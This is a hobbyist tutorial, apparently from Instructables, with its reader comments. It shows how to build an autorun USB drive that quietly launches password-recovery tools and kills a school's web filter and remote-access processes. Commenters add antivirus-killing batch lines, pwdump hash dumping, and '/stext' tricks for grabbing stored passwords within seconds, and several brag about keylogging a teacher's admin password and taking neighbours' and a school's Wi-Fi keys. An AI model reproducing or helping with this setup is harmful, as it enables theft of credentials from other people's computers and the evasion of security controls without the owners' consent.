Intro: How to Make an Auto-Hacking USB Drive

I will teach you how to make a basic Auto-Hacking USB Drive. There are probably many different variationsof this. I will be showing you the most basic. You need two things: 1) A USB Drive devoted to this 2) The programs and files that I will show you how to make or where to get. If you have trouble making the two files that I show you how to create, they can be downloaded at the end of the Instructable. OK PEOPLE!!!!! THIS AUTO-HACKING USB DRIVE SIMPLY CONTAINS APPLICATIONS THAT RECOVER PASSWORDS AND SUCH. STOP LEAVING POSTS ABOUT HOW YOU DON'T UNDERSTAND WHAT GETS HACKED.

Step 1: A Brief Explanation

OK. If you are looking for an Instructable that will teach you how to hack the Pentagon with a 2GB USB Drive, look somewhere else. This Instructable uses a batch file, an autorun file, and downloaded programs.

Step 2: The Autorun File

So. Here we go. We will start with the Autorun file. This file is the one that makes the pop-up window when you plug in the USB Drive. You can use this on any USB Drive, even if it has U3 on it. Open Notepad (I'm using Notepad++) and type the following: (autorun) label=(Name you want the drive to have) icon=(Icon file).ico open=(Batch file we will make later).bat action=(What you want the action to be) MAKE SURE YOU DO NOT TYPE THE ()'s! Where it says (autorun), replace the parentheses with brackets (the buttons to the right of the "p" key on the keyboard. USE THE BOTTOM BRACKETS, NOT THE TWISTY FRENCH BRACKETS!) Save this file as Autorun.inf Make sure that you save it immediately inside your USB Drive, not inside any sub-folders (My Computer, Autohax0r).

http://www.instructables.com/id/How-to-Make-an-Auto-Hacking-USB-Drive/

Also, I have used an icon (an .ico file), so the USB Drive will have a different picture than the boring standard picture. To get one of these, I advise going to http://www.iconarchive.com/ to get an .ico file (you have to specifically download it as .ico). If you do this, save the icon in the same place as the Autorun file.

Step 3: The Batch File

We will now make the batch file that starts all the "hacking programs." MAKE SURE YOU NAME IT THE SAME AS WHAT YOU CALLED IT IN THE AUTORUN FILE! Type this into Notepad: @echo off title KTX start .\Applications\FOLDER\APPLICATION.exe start .\CommandLine\Process.exe -k TermX.exe start .\CommandLine\Process.exe -k WinVNC.exe pause goto eof I will explain the commands used: @echo off: Makes it so the file pops-up without showing the commands. Makes it look more professional. title: Makes a title at the top of the batch file. start: If you can't figure this one out, you should not be reading this Instructable. pause: Pauses the file, waits for you to press any button. goto: Sends the file to a different part of the script. eof: End of file. Also, TermX.exe is a program that my school uses to keep us out of certain websites. IT IS NOT THE FIREWALL. For info on WinVNC.exe, go to http://www.processlibrary.com/directory/files/winvnc . Where it says \FOLDER\APPLICATION, you will change this in two steps. Save this as KTX.bat, and place it in the same place (directory) as the Autorun.inf file.

http://www.instructables.com/id/How-to-Make-an-Auto-Hacking-USB-Drive/

Step 4: The "Hacking" Programs

Ok. We are now going on to the actual hacking programs. Go to http://www.nirsoft.net/ , and browse the programs. If you have any different websites or programs, feel free to use them. I am using SniffPass, LSASecretsView, and WirelessKeyView. Install them, and place them and the folders they create in the same directory as all the other stuff. Your computer might identify some as viruses, but don't worry. It only does this because some programs can find certain passwords. Also, you might notice that I have a folder called "CommandLine." This is a VERY usefull program, and can be downloaded at http://www.beyondlogic.org/solutions/processutil/processutil.htm . There is also a hearty description at this page.

Step 5: Modifying KTX.bat

It is now time to go back to KTX.bat (by the way, remember that TermX.exe thing I mentioned? Well, KTX stands for "Kill TermX". Feel free to change the batch file name to whatever you want, just MAKE SURE TO ADJUST THE AUTORUN FILE, TOO!). Go to the part of the Autorun file where it says "start .\Applications\FOLDER\APPLICATION.exe". You are going to change this. Also, add or subtract as many of this line as you need. If you have three programs to run, you need three lines of this code. First, create a folder in the same place as the Autorun and KTX files, and name it Applications. Drag all the folders that contain the hacking programs into the Applications folder. You should come up with a directory like this: "My Computer\AutoHax0r\Applications\HACKING FOLDERS HERE (with programs inside the folders)" Also, you do not have to have the CommandLine in the KTX file. I just use it for my school. I will include pictures.

Step 6: All Finished!

Ok. This is the end of the tutorial. You should have the Autorun.inf file, the KTX.bat file, and some hacking files of your choice. To work the magic of the Auto-Hacking USB Drive, just unplug the drive in question and plug it back in. If it doesn't work, you did something wrong, because I told you how to do it right. Either that, or you have strange computer settings. If you are confused as to how to make the batch file or the Autorun file, download them here.

In order to stop antivirus programs from deleting the files, could you archive them and then modify the code to something like: @echo off title {insert title} start ./commandline/processes.exe -k {antivirus process title} pause {extraction code} pause {program start lines} pause goto eof

Feb 6, 2011. 8:43 AM REPLY

could something like this work? its alittle vague, sorry. (the extra pauses are to insure that the command completes (especially the extration code))

u can remove goto eof or change it to end because goto eof creates an error but u cant see it because then it closes

Crazy Leprecaun says:

Yes, you can. I think you can just put "exit" there, but it's been a while since I've messed with BATCH. By the way, "eof" means "end of file".

Sep 17, 2010. 8:58 PM REPLY Sweet I'm in. Idid it by running a keylogger on the computer while the teacher typed in the admin password so I could hook up the printer

messmaker says:
the keylogger worked even after you had logged out of your account?

Sep 20, 2010. 3:46 AM REPLY

lockpick says:

Oct 10, 2010. 6:43 PM REPLY No, i mean partially. The computer allows us to switch directly to another account without logging off. So the teacher logged in the admin without logging out of my account

well your system administrator sucks xD

Aug 29, 2010. 12:07 PM REPLY I am not sure it encodes it, but there is a great program called Truecrypt that creates a encrypted folder on either your USB or your harddrive. You may be able to make it so that you could automatically save the data to this encrypted folder. p.s. Truecrypt is a free program. Google it.

Jun 29, 2010. 11:02 AM REPLY i sort of get it. i thaught the purpose of this was to secretly record all this data. so i had a keylogger on there.(wich didnt open any way) but thanks that was great. just got to see if skl will run it. i was trying to get my freinds password as he got mine. and this didnt realy help with that purpose, but anyway. great tutorial. Jun 8, 2010. 10:53 AM REPLY If I plug the usb back again the screen that pops up only says things about "import pictures" and "Open folders to view". I can't get an option to let the programs do their work. Maybe because I have a Windows 7 computer. Please help me

HoodedHound says:

Crazy Leprecaun says:

Jun 8, 2010. 3:11 PM REPLY I'm not totally sure, but I think that Microsoft may have disabled the autorun feature for Windows 7. I wrote this for XP and Vista, and I use Ubuntu Linux now, so I don't know much about Windows 7. Sorry.

HoodedHound says:
I see. It runs just fine on my Vista computer. :) Anyway, thanks for the awesome tutorial!

Jan 2, 2010. 12:26 AM REPLY This is a good instructable, no doubt about it, but I suggest that the author should add a disclaimer at the beginning just to ensure someone who doesn't know how to use this information wise ly doesn't go and blame the author for his own carelessness. On a lighter note, if you wish to make the program permanent and stealthy *disclaimer I'm not responsible for how you use the following information* you can always download a batch to EXE (executable) program and select the option to run without a prompt window. This may or may not help with the pop-up when you plug your drive in, I have not tested this personally, if you're in doubt select the always perform this action and have a program turn off the monitor for a second. Reiterated: Good instructable, cover yourself, and be wise when testing code. Dec 20, 2009. 1:19 PM REPLY

aean says:
First of all cool tute. It was very easy to follow.

My next step is to use the programmies mentioned. I've never hacked anything except my cellphone. For now, my proggies just sit there as if doing nothing. Is there a reason for this? Are there any tutes on using these programmes. I seem to be missing something. Again, great tute!

Crazy Leprecaun says:

Dec 20, 2009. 3:07 PM REPLY The only thing that this instructable is for is to show you how to automatically run applications off your USB drives. If you want more info on the apps themselves, go to the Nirsoft website.

Austinstag says:

Dec 3, 2009. 5:17 PM REPLY Hey Crazy Leprecaun i download the programs and changed the batch and autorun file like you said but when the batch file runs it tells me the system couldn't find them plz help

Austinstag says:

Dec 3, 2009. 5:15 PM REPLY Hey Crazy Leprecaun I download the files/programs but when it runs the KTX batch file it tells me that the system can't find them plz help

I know you need admin rights to use pwdump. Maybe that has something to do with the problem?

No, I don't think so, because I test it on a machine where I've got admin rights...

Sep 19, 2009. 3:39 AM REPLY

Crazy Leprecaun says:

Sep 20, 2009. 6:33 PM REPLY I think that you messed up with the batch file. Try getting rid of the cmd.bat part so it looks like this: @echo off title KTX start .\Hacktools\pwdump7.exe > hash.txt pause goto eof Maybe that will work.

declanthedork says:

Jul 13, 2009. 3:31 PM REPLY This is a really cool 'ible. Just a quick question: After I've done this, can I just erase everything and be back to normal if I don't want it any more? Thanks, Declan

Soldat7 says:

Oct 2, 2008. 6:39 AM REPLY ive looked at the programs you used and some of the programs have commands that order them to Dump the keys in a log file instead of showing a window. so by adding: /stext (filename) at the end of a run command. The programs will Write the keys/passwords on the USB drive within a few seconds and then exit. this little trick can be used for a Quick password Retrieval and is perfect if you only have access to a computer for only about halve a minute (or less if you're fast enough). ive found those commands in combination with you Instructable very useful in retrieving a few W-Lan keys from around the neighbourhood (including that of my school :D) now I have Internet even in my school!!! just sharing a little extra command. :P Thx for making this instructable.
